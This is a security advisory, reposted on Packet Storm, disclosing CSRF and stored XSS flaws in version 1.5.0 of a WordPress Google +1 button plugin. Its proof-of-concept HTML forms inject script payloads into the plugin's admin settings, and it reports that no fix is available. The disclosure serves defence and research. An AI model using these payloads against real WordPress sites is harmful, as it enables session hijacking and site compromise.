what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Google Plus One Button By KMS 1.5.0 CSRF / XSS

WordPress Google Plus One Button By KMS 1.5.0 CSRF / XSS
Posted Jul 29, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Google Plus one Button by KMS plugin version 1.5.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | b22ca365d1e13f6763b293aa9355c3e79409d0f129033e0a6ae55c3a7767abd3

WordPress Google Plus One Button By KMS 1.5.0 CSRF / XSS

Change Mirror Download
Title: WordPress 'Google 'Plus one' Button by kms' Plugin 
Version: 1.5.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/google-plus-one-button-by-kms/
- https://plugins.svn.wordpress.org/google-plus-one-button-by-kms/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
WordPress bővítmény a Google +1 (plus one) gomb elhelyezésére. Megjeleníthető bejegyzés előtt, után, illetve az írások mellett bal oldalon

## CSRF/XSS vulnerabilities
==========================================================
The _SERVER variable 'REQUEST_URI' is printed directly into the HTML on the admin page.

The settings in the admin panel is vulnerable to stored XSS and the settings can be changed using an CSRF attack.

PoC(s):
Log in as admin and submit one of the following forms:

XSS on admin pages:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value="</script><script>alert(1)</script>"><br />
<input type="text" name="button_location" value="</script><script>alert(2)</script>"><br />
<input type="text" name="top_space" value="</script><script>alert(3)</script>"><br />
<input type="text" name="left_space" value="</script><script>alert(4)</script>"><br />
<input type="text" name="position" value="</script><script>alert(5)</script>"><br />
<input type="text" name="filter_tag" value="</script><script>alert(6)</script>"><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>

<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value="</script><script>alert(1)</script>"><br />
<input type="text" name="button_location" value="</script><script>alert(2)</script>"><br />
<input type="text" name="top_space" value="</script><script>alert(3)</script>"><br />
<input type="text" name="left_space" value="</script><script>alert(4)</script>"><br />
<input type="text" name="position" value="</script><script>alert(5)</script>"><br />
<input type="text" name="filter_tag" value="</script><script>alert(6)</script>"><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>

XSS on pages displaying a Google Plus +1 button:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value=""><br />
<input type="text" name="button_location" value="left" readonly><br />
<input type="text" name="top_space" value="asdf;}</style><script>alert(3)</script>"><br />
<input type="text" name="left_space" value="asdf;}</style><script>alert(4)</script>"><br />
<input type="text" name="position" value="asdf;}</style><script>alert(5)</script>"><br />
<input type="text" name="filter_tag" value=""><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>

<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value=""/><script>alert(1)</script>"><br />
<input type="text" name="button_location" value="top" readonly><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>

## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close